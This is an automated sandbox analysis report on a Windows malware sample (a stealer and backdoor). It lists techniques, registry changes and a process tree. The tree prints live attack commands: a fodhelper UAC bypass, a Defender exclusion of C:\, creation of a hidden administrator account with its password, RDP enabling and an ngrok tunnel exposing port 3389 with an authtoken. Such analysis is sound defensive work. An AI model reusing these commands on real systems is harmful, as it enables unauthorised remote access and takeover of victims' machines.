78a2f84f683c6764f5efe5e083b538e944cdb645b2a0ed9ec968644f59aa460b

Analysis

max time kernel
145s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20230221-en
resource tags

arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
submitted
22/05/2023, 20:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

78a2f84f683c6764f5efe5e083b538e944cdb645b2a0ed9ec968644f59aa460b.exe
Size

169KB
MD5

e2ca6f8e77cbaa4a7adf56242880a30c
SHA1

3e97fefef460224557d2ef8671a66b82dd63d021
SHA256

78a2f84f683c6764f5efe5e083b538e944cdb645b2a0ed9ec968644f59aa460b
SHA512

5de2d73a8c97c78576b9d91772fe43c88cbff27fe640ef650d85ba3c98ceefb873ccb62bafa7c1fe088eb902963882c12fd6c4625160f693a2290448619a803b
SSDEEP

1536:/6TizBVEjB1904v70xbWlMjUUdIDfY+pn72VmUl4tIk6o9NbWNEqp01Zhi6Tiz:/6mzBjGKbS0cfPp25wNF71Zhi6mz

Score

9^/10

collection evasion persistence spyware stealer upx

Malware Config

Signatures

Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098
Downloads MZ/PE file

Modifies Windows Firewall 1 TTPs 1 IoCs

evasion

Modify Existing Service

T1031

pid	Process
1004	netsh.exe

Sets DLL path for service in the registry 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDll = "%ProgramFiles%\\RDP Wrapper\\rdpwrap.dll"	vhttd.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1158

pid	Process
2132	attrib.exe

Allows Network login with blank passwords 1 TTPs 1 IoCs

Allows local user accounts with blank passwords to access device from the network.

Remote Desktop Protocol

T1076

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\Lsa\LimitBlankPasswordUse = "0"	iexplorer.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	78a2f84f683c6764f5efe5e083b538e944cdb645b2a0ed9ec968644f59aa460b.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Control Panel\International\Geo\Nation	iexplorer.exe

Executes dropped EXE 4 IoCs

pid	Process
2696	iexplorer.exe
4540	ngrok.exe
1656	ngrok.exe
4504	vhttd.exe

Loads dropped DLL 1 IoCs

pid	Process
748	svchost.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

UPX packed file 7 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000700000002314d-284.dat	upx
behavioral1/files/0x000700000002314d-285.dat	upx
behavioral1/memory/4504-289-0x0000000000400000-0x0000000000592000-memory.dmp	upx
behavioral1/files/0x0007000000023153-295.dat	upx
behavioral1/files/0x0007000000023153-296.dat	upx
behavioral1/memory/748-298-0x00007FFC70F70000-0x00007FFC70F96000-memory.dmp	upx
behavioral1/memory/4504-299-0x0000000000400000-0x0000000000592000-memory.dmp	upx

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	iexplorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	iexplorer.exe
Key opened	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	iexplorer.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\GJWyfUU = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\iexplorer.exe\""	iexplorer.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
30	ip-api.com

Modifies WinLogon 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AllowMultipleTSSessions = "1"	vhttd.exe

Drops autorun.inf file 1 TTPs 1 IoCs

Malware can abuse Windows Autorun to spread further via attached volumes.

Replication Through Removable Media

T1091

description	ioc	Process
File created	C:\autorun.inf	iexplorer.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\rfxvmt.dll	vhttd.exe

Drops file in Program Files directory 2 IoCs

description	ioc	Process
File created	C:\Program Files\RDP Wrapper\rdpwrap.ini	vhttd.exe
File created	C:\Program Files\RDP Wrapper\rdpwrap.dll	vhttd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	62	Go-http-client/1.1

Modifies registry class 14 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\ms-settings\Shell\Open	iexplorer.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\ms-settings\Shell\Open\command	iexplorer.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\ms-settings\Shell	iexplorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\ms-settings\Shell\Open\command\ = "powershell -window hidden -command C:\\Users\\Admin\\AppData\\Local\\Temp\\/ngrok.exe tcp 3389"	iexplorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\ms-settings\Shell\Open\command\ = "powershell -window hidden -command C:\\Users\\Admin\\AppData\\Local\\Temp\\/vhttd.exe -i"	iexplorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\ms-settings\Shell\Open\command	iexplorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\ms-settings\Shell	iexplorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\ms-settings\Shell\Open\command\ = "powershell.exe -command Add-MpPreference -ExclusionPath C:\\"	iexplorer.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\ms-settings	iexplorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\ms-settings\Shell\Open\command\ = "powershell -window hidden -command C:\\Users\\Admin\\AppData\\Local\\Temp\\/ngrok.exe config add-authtoken 2PDLmCpAc15rqXLc5UciTovK3D0_4ATiYujFG1vzipB7hfDgs"	iexplorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\ms-settings	iexplorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\ms-settings\Shell\Open\command\DelegateExecute	iexplorer.exe
Key deleted	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\ms-settings\Shell\Open	iexplorer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000_Classes\ms-settings\Shell\Open\command\ = "powershell -window hidden -command C:\\Users\\Admin\\AppData\\Local\\Temp\\/Snup.bat"	iexplorer.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	ngrok.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	ngrok.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	ngrok.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
2696	iexplorer.exe
2696	iexplorer.exe
3928	PowerShell.exe
3928	PowerShell.exe
2696	iexplorer.exe
2968	PowerShell.exe
2968	PowerShell.exe
1416	PowerShell.exe
1416	PowerShell.exe
4552	PowerShell.exe
4552	PowerShell.exe
3680	PowerShell.exe
3680	PowerShell.exe
748	svchost.exe
748	svchost.exe
748	svchost.exe
748	svchost.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
660	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4376	78a2f84f683c6764f5efe5e083b538e944cdb645b2a0ed9ec968644f59aa460b.exe
Token: SeDebugPrivilege	2696	iexplorer.exe
Token: SeDebugPrivilege	3928	PowerShell.exe
Token: SeDebugPrivilege	2968	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	4720	WMIC.exe
Token: SeSecurityPrivilege	4720	WMIC.exe
Token: SeTakeOwnershipPrivilege	4720	WMIC.exe
Token: SeLoadDriverPrivilege	4720	WMIC.exe
Token: SeSystemProfilePrivilege	4720	WMIC.exe
Token: SeSystemtimePrivilege	4720	WMIC.exe
Token: SeProfSingleProcessPrivilege	4720	WMIC.exe
Token: SeIncBasePriorityPrivilege	4720	WMIC.exe
Token: SeCreatePagefilePrivilege	4720	WMIC.exe
Token: SeBackupPrivilege	4720	WMIC.exe
Token: SeRestorePrivilege	4720	WMIC.exe
Token: SeShutdownPrivilege	4720	WMIC.exe
Token: SeDebugPrivilege	4720	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4720	WMIC.exe
Token: SeRemoteShutdownPrivilege	4720	WMIC.exe
Token: SeUndockPrivilege	4720	WMIC.exe
Token: SeManageVolumePrivilege	4720	WMIC.exe
Token: 33	4720	WMIC.exe
Token: 34	4720	WMIC.exe
Token: 35	4720	WMIC.exe
Token: 36	4720	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4720	WMIC.exe
Token: SeSecurityPrivilege	4720	WMIC.exe
Token: SeTakeOwnershipPrivilege	4720	WMIC.exe
Token: SeLoadDriverPrivilege	4720	WMIC.exe
Token: SeSystemProfilePrivilege	4720	WMIC.exe
Token: SeSystemtimePrivilege	4720	WMIC.exe
Token: SeProfSingleProcessPrivilege	4720	WMIC.exe
Token: SeIncBasePriorityPrivilege	4720	WMIC.exe
Token: SeCreatePagefilePrivilege	4720	WMIC.exe
Token: SeBackupPrivilege	4720	WMIC.exe
Token: SeRestorePrivilege	4720	WMIC.exe
Token: SeShutdownPrivilege	4720	WMIC.exe
Token: SeDebugPrivilege	4720	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4720	WMIC.exe
Token: SeRemoteShutdownPrivilege	4720	WMIC.exe
Token: SeUndockPrivilege	4720	WMIC.exe
Token: SeManageVolumePrivilege	4720	WMIC.exe
Token: 33	4720	WMIC.exe
Token: 34	4720	WMIC.exe
Token: 35	4720	WMIC.exe
Token: 36	4720	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4780	WMIC.exe
Token: SeSecurityPrivilege	4780	WMIC.exe
Token: SeTakeOwnershipPrivilege	4780	WMIC.exe
Token: SeLoadDriverPrivilege	4780	WMIC.exe
Token: SeSystemProfilePrivilege	4780	WMIC.exe
Token: SeSystemtimePrivilege	4780	WMIC.exe
Token: SeProfSingleProcessPrivilege	4780	WMIC.exe
Token: SeIncBasePriorityPrivilege	4780	WMIC.exe
Token: SeCreatePagefilePrivilege	4780	WMIC.exe
Token: SeBackupPrivilege	4780	WMIC.exe
Token: SeRestorePrivilege	4780	WMIC.exe
Token: SeShutdownPrivilege	4780	WMIC.exe
Token: SeDebugPrivilege	4780	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4780	WMIC.exe
Token: SeRemoteShutdownPrivilege	4780	WMIC.exe
Token: SeUndockPrivilege	4780	WMIC.exe
Token: SeManageVolumePrivilege	4780	WMIC.exe
Token: 33	4780	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4376 wrote to memory of 2696	4376	78a2f84f683c6764f5efe5e083b538e944cdb645b2a0ed9ec968644f59aa460b.exe	81
PID 4376 wrote to memory of 2696	4376	78a2f84f683c6764f5efe5e083b538e944cdb645b2a0ed9ec968644f59aa460b.exe	81
PID 2696 wrote to memory of 3428	2696	iexplorer.exe	86
PID 2696 wrote to memory of 3428	2696	iexplorer.exe	86
PID 3428 wrote to memory of 3928	3428	fodhelper.exe	88
PID 3428 wrote to memory of 3928	3428	fodhelper.exe	88
PID 2696 wrote to memory of 3220	2696	iexplorer.exe	92
PID 2696 wrote to memory of 3220	2696	iexplorer.exe	92
PID 3220 wrote to memory of 2968	3220	fodhelper.exe	93
PID 3220 wrote to memory of 2968	3220	fodhelper.exe	93
PID 2968 wrote to memory of 832	2968	PowerShell.exe	95
PID 2968 wrote to memory of 832	2968	PowerShell.exe	95
PID 832 wrote to memory of 4952	832	cmd.exe	96
PID 832 wrote to memory of 4952	832	cmd.exe	96
PID 4952 wrote to memory of 4720	4952	cmd.exe	97
PID 4952 wrote to memory of 4720	4952	cmd.exe	97
PID 4952 wrote to memory of 544	4952	cmd.exe	98
PID 4952 wrote to memory of 544	4952	cmd.exe	98
PID 832 wrote to memory of 4116	832	cmd.exe	99
PID 832 wrote to memory of 4116	832	cmd.exe	99
PID 4116 wrote to memory of 2856	4116	net.exe	100
PID 4116 wrote to memory of 2856	4116	net.exe	100
PID 832 wrote to memory of 2332	832	cmd.exe	101
PID 832 wrote to memory of 2332	832	cmd.exe	101
PID 2332 wrote to memory of 2152	2332	net.exe	102
PID 2332 wrote to memory of 2152	2332	net.exe	102
PID 832 wrote to memory of 4456	832	cmd.exe	103
PID 832 wrote to memory of 4456	832	cmd.exe	103
PID 4456 wrote to memory of 4780	4456	cmd.exe	104
PID 4456 wrote to memory of 4780	4456	cmd.exe	104
PID 4456 wrote to memory of 2164	4456	cmd.exe	105
PID 4456 wrote to memory of 2164	4456	cmd.exe	105
PID 832 wrote to memory of 4328	832	cmd.exe	106
PID 832 wrote to memory of 4328	832	cmd.exe	106
PID 4328 wrote to memory of 4880	4328	net.exe	107
PID 4328 wrote to memory of 4880	4328	net.exe	107
PID 832 wrote to memory of 2008	832	cmd.exe	108
PID 832 wrote to memory of 2008	832	cmd.exe	108
PID 2008 wrote to memory of 4760	2008	net.exe	109
PID 2008 wrote to memory of 4760	2008	net.exe	109
PID 832 wrote to memory of 1632	832	cmd.exe	110
PID 832 wrote to memory of 1632	832	cmd.exe	110
PID 832 wrote to memory of 1640	832	cmd.exe	113
PID 832 wrote to memory of 1640	832	cmd.exe	113
PID 832 wrote to memory of 3308	832	cmd.exe	112
PID 832 wrote to memory of 3308	832	cmd.exe	112
PID 832 wrote to memory of 2000	832	cmd.exe	111
PID 832 wrote to memory of 2000	832	cmd.exe	111
PID 832 wrote to memory of 2256	832	cmd.exe	114
PID 832 wrote to memory of 2256	832	cmd.exe	114
PID 832 wrote to memory of 2852	832	cmd.exe	115
PID 832 wrote to memory of 2852	832	cmd.exe	115
PID 832 wrote to memory of 2132	832	cmd.exe	116
PID 832 wrote to memory of 2132	832	cmd.exe	116
PID 2696 wrote to memory of 5100	2696	iexplorer.exe	117
PID 2696 wrote to memory of 5100	2696	iexplorer.exe	117
PID 5100 wrote to memory of 1416	5100	fodhelper.exe	118
PID 5100 wrote to memory of 1416	5100	fodhelper.exe	118
PID 1416 wrote to memory of 4540	1416	PowerShell.exe	120
PID 1416 wrote to memory of 4540	1416	PowerShell.exe	120
PID 2696 wrote to memory of 3908	2696	iexplorer.exe	121
PID 2696 wrote to memory of 3908	2696	iexplorer.exe	121
PID 3908 wrote to memory of 4552	3908	fodhelper.exe	122
PID 3908 wrote to memory of 4552	3908	fodhelper.exe	122

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
2132	attrib.exe

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	iexplorer.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2805025096-2326403612-4231045514-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	iexplorer.exe

C:\Users\Admin\AppData\Local\Temp\78a2f84f683c6764f5efe5e083b538e944cdb645b2a0ed9ec968644f59aa460b.exe
"C:\Users\Admin\AppData\Local\Temp\78a2f84f683c6764f5efe5e083b538e944cdb645b2a0ed9ec968644f59aa460b.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4376
- C:\Users\Admin\AppData\Local\Temp\iexplorer.exe
  "C:\Users\Admin\AppData\Local\Temp\iexplorer.exe"
  2⤵
  - Allows Network login with blank passwords
  - Checks computer location settings
  - Executes dropped EXE
  - Accesses Microsoft Outlook profiles
  - Adds Run key to start application
  - Drops autorun.inf file
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  - outlook_office_path
  - outlook_win_path
  PID:2696
- - C:\Windows\System32\fodhelper.exe
    "C:\Windows\System32\fodhelper.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3428
  - - C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
      "PowerShell.exe" -command Add-MpPreference -ExclusionPath C:\
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3928
- - C:\Windows\System32\fodhelper.exe
    "C:\Windows\System32\fodhelper.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3220
  - - C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
      "PowerShell.exe" -window hidden -command C:\Users\Admin\AppData\Local\Temp\/Snup.bat
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2968
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\Snup.bat""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:832
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4952
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC Group Where "SID = 'S-1-5-32-544'" Get Name /Value
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4720
        
        C:\Windows\system32\find.exe
        
        Find "="
        7⤵
        
        PID:544
      - C:\Windows\system32\net.exe
        
        net user BlackTeam JesF3301asS /add /active:"yes" /expires:"never" /passwordchg:"NO"
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4116
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user BlackTeam JesF3301asS /add /active:"yes" /expires:"never" /passwordchg:"NO"
        7⤵
        
        PID:2856
      - C:\Windows\system32\net.exe
        
        net localgroup Administrators BlackTeam /add
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2332
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators BlackTeam /add
        7⤵
        
        PID:2152
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4456
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC Group Where "SID = 'S-1-5-32-555'" Get Name /Value
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4780
        
        C:\Windows\system32\find.exe
        
        Find "="
        7⤵
        
        PID:2164
      - C:\Windows\system32\net.exe
        
        net localgroup "Remote Desktop Users" BlackTeam /add
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:4328
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" BlackTeam /add
        7⤵
        
        PID:4880
      - C:\Windows\system32\net.exe
        
        net accounts /forcelogoff:no /maxpwage:unlimited
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2008
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 accounts /forcelogoff:no /maxpwage:unlimited
        7⤵
        
        PID:4760
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
        6⤵
        
        PID:1632
      - C:\Windows\system32\reg.exe
        
        reg add "'HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp'" /v "'MaxDisconnectionTime'" /t REG_DWORD /d 0x0 /f
        6⤵
        
        PID:2000
      - C:\Windows\system32\reg.exe
        
        reg add "'HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp'" /v "'MaxConnectionTime'" /t REG_DWORD /d 0x1 /f
        6⤵
        
        PID:3308
